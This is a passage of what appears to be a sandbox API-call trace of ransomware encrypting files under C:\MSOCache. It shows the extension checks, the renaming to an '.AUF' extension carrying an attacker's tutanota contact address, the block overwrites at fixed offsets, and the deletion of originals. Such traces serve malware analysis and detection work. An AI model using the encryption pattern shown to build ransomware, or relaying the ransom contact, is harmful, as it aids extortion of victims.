Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0210.636] lstrlenW (lpString=".dbf") returned 4 [0210.636] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0210.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0210.636] lstrlenW (lpString=".1cd") returned 4 [0210.636] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0210.636] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0210.636] lstrlenW (lpString=".jpg") returned 4 [0210.636] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0210.636] lstrcmpiW (lpString1=".cab", lpString2=".AUF") returned 1 [0210.636] lstrlenW (lpString="OWOW32LR.cab") returned 12 [0210.636] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0210.636] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=2928955) returned 1 [0210.636] CloseHandle (hObject=0x180) returned 1 [0210.636] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab")) returned 0x2020 [0210.636] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0210.636] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0210.637] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0210.637] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0x0) returned 1 [0210.637] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0210.637] ReadFile (in: hFile=0x180, lpBuffer=0x3e50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e50058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0210.841] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0210.841] ReadFile (in: hFile=0x180, lpBuffer=0x3e90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e90058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0210.874] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0210.874] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0210.874] ReadFile (in: hFile=0x180, lpBuffer=0x3ed0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ed0058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0210.964] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.964] WriteFile (in: hFile=0x180, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x335fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0210.978] SetEndOfFile (hFile=0x180) returned 1 [0210.981] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0210.981] WriteFile (in: hFile=0x180, lpBuffer=0x4049090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x4049090*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0210.982] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xee5be, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0210.982] WriteFile (in: hFile=0x180, lpBuffer=0x4049090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x4049090*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0210.986] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x28b13b, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0210.986] WriteFile (in: hFile=0x180, lpBuffer=0x4049090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x4049090*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0210.987] CloseHandle (hObject=0x180) returned 1 [0211.642] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0211.642] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0211.642] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0211.642] lstrlenW (lpString=".doc") returned 4 [0211.642] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0211.642] lstrlenW (lpString=".docx") returned 5 [0211.642] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0211.642] lstrlenW (lpString=".pdf") returned 4 [0211.642] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0211.642] lstrlenW (lpString=".xls") returned 4 [0211.642] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0211.642] lstrlenW (lpString=".xlsx") returned 5 [0211.642] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0211.642] lstrlenW (lpString=".ppt") returned 4 [0211.642] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0211.642] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0211.642] lstrlenW (lpString=".zip") returned 4 [0211.642] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0211.642] lstrlenW (lpString=".rar") returned 4 [0211.642] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0211.642] lstrlenW (lpString=".bz2") returned 4 [0211.642] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0211.642] lstrlenW (lpString=".7z") returned 3 [0211.642] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0211.642] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0211.643] lstrlenW (lpString=".dbf") returned 4 [0211.643] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0211.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0211.643] lstrlenW (lpString=".1cd") returned 4 [0211.643] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0211.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0211.643] lstrlenW (lpString=".jpg") returned 4 [0211.643] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0211.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0211.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0211.643] lstrlenW (lpString=".doc") returned 4 [0211.643] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0211.643] lstrlenW (lpString=".docx") returned 5 [0211.643] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0211.643] lstrlenW (lpString=".pdf") returned 4 [0211.643] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0211.643] lstrlenW (lpString=".xls") returned 4 [0211.643] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0211.643] lstrlenW (lpString=".xlsx") returned 5 [0211.643] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0211.643] lstrlenW (lpString=".ppt") returned 4 [0211.643] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0211.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0211.643] lstrlenW (lpString=".zip") returned 4 [0211.643] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0211.643] lstrlenW (lpString=".rar") returned 4 [0211.643] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0211.643] lstrlenW (lpString=".bz2") returned 4 [0211.643] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0211.643] lstrlenW (lpString=".7z") returned 3 [0211.643] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0211.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0211.643] lstrlenW (lpString=".dbf") returned 4 [0211.643] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0211.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0211.643] lstrlenW (lpString=".1cd") returned 4 [0211.643] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0211.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0211.643] lstrlenW (lpString=".jpg") returned 4 [0211.643] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0211.643] lstrcmpiW (lpString1=".msi", lpString2=".AUF") returned 1 [0211.643] lstrlenW (lpString="ProjectMUI.msi") returned 14 [0211.643] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0211.990] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=2511872) returned 1 [0211.991] CloseHandle (hObject=0x1e0) returned 1 [0211.991] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi")) returned 0x2020 [0211.991] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.991] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0211.991] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0211.991] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0x0) returned 1 [0211.991] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0211.991] ReadFile (in: hFile=0x1e0, lpBuffer=0x3e50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e50058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0211.996] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0211.996] ReadFile (in: hFile=0x1e0, lpBuffer=0x3e90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e90058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0212.014] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0212.014] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0212.014] ReadFile (in: hFile=0x1e0, lpBuffer=0x3ed0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ed0058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0212.037] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.037] WriteFile (in: hFile=0x1e0, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x335fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0212.050] SetEndOfFile (hFile=0x1e0) returned 1 [0212.180] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0212.180] WriteFile (in: hFile=0x1e0, lpBuffer=0x40c90a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x40c90a0*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0212.182] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0212.182] WriteFile (in: hFile=0x1e0, lpBuffer=0x40c90a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x40c90a0*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0212.192] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0212.192] WriteFile (in: hFile=0x1e0, lpBuffer=0x40c90a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x40c90a0*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0212.196] CloseHandle (hObject=0x1e0) returned 1 [0212.197] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0212.197] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0212.197] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0212.197] lstrlenW (lpString=".doc") returned 4 [0212.197] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0212.197] lstrlenW (lpString=".docx") returned 5 [0212.197] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0212.197] lstrlenW (lpString=".pdf") returned 4 [0212.197] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0212.197] lstrlenW (lpString=".xls") returned 4 [0212.197] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0212.197] lstrlenW (lpString=".xlsx") returned 5 [0212.197] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0212.197] lstrlenW (lpString=".ppt") returned 4 [0212.197] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0212.197] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0212.197] lstrlenW (lpString=".zip") returned 4 [0212.197] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0212.197] lstrlenW (lpString=".rar") returned 4 [0212.197] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0212.197] lstrlenW (lpString=".bz2") returned 4 [0212.197] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0212.197] lstrlenW (lpString=".7z") returned 3 [0212.197] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0212.197] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0212.197] lstrlenW (lpString=".dbf") returned 4 [0212.197] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0212.197] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0212.197] lstrlenW (lpString=".1cd") returned 4 [0212.197] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0212.197] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0212.197] lstrlenW (lpString=".jpg") returned 4 [0212.197] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0212.197] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0212.197] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0212.197] lstrlenW (lpString=".doc") returned 4 [0212.197] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0212.197] lstrlenW (lpString=".docx") returned 5 [0212.198] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0212.198] lstrlenW (lpString=".pdf") returned 4 [0212.198] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0212.198] lstrlenW (lpString=".xls") returned 4 [0212.198] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0212.198] lstrlenW (lpString=".xlsx") returned 5 [0212.198] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0212.198] lstrlenW (lpString=".ppt") returned 4 [0212.198] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0212.198] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0212.198] lstrlenW (lpString=".zip") returned 4 [0212.198] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0212.198] lstrlenW (lpString=".rar") returned 4 [0212.198] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0212.198] lstrlenW (lpString=".bz2") returned 4 [0212.198] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0212.198] lstrlenW (lpString=".7z") returned 3 [0212.198] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0212.198] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0212.198] lstrlenW (lpString=".dbf") returned 4 [0212.198] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0212.198] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0212.198] lstrlenW (lpString=".1cd") returned 4 [0212.198] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0212.198] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0212.198] lstrlenW (lpString=".jpg") returned 4 [0212.198] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0212.198] lstrcmpiW (lpString1=".EXE", lpString2=".AUF") returned 1 [0212.198] lstrlenW (lpString="DW20.EXE") returned 8 [0212.198] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0212.827] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=838536) returned 1 [0212.827] CloseHandle (hObject=0x168) returned 1 [0212.827] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 0x2020 [0212.827] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.827] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0212.827] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.827] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.827] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0212.828] GetLastError () returned 0x0 [0212.828] ReadFile (in: hFile=0x168, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0xccb88, lpOverlapped=0x0) returned 1 [0212.910] WriteFile (in: hFile=0x1f8, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xccb90, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xccb90, lpOverlapped=0x0) returned 1 [0212.923] ReadFile (in: hFile=0x168, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1 [0212.923] WriteFile (in: hFile=0x1f8, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0212.924] SetEndOfFile (hFile=0x1f8) returned 1 [0212.924] CloseHandle (hObject=0x1f8) returned 1 [0212.924] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.924] SetEndOfFile (hFile=0x168) returned 1 [0213.011] CloseHandle (hObject=0x168) returned 1 [0213.011] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0213.012] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 1 [0213.012] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0213.012] lstrlenW (lpString="C:\\MSOCache\\All 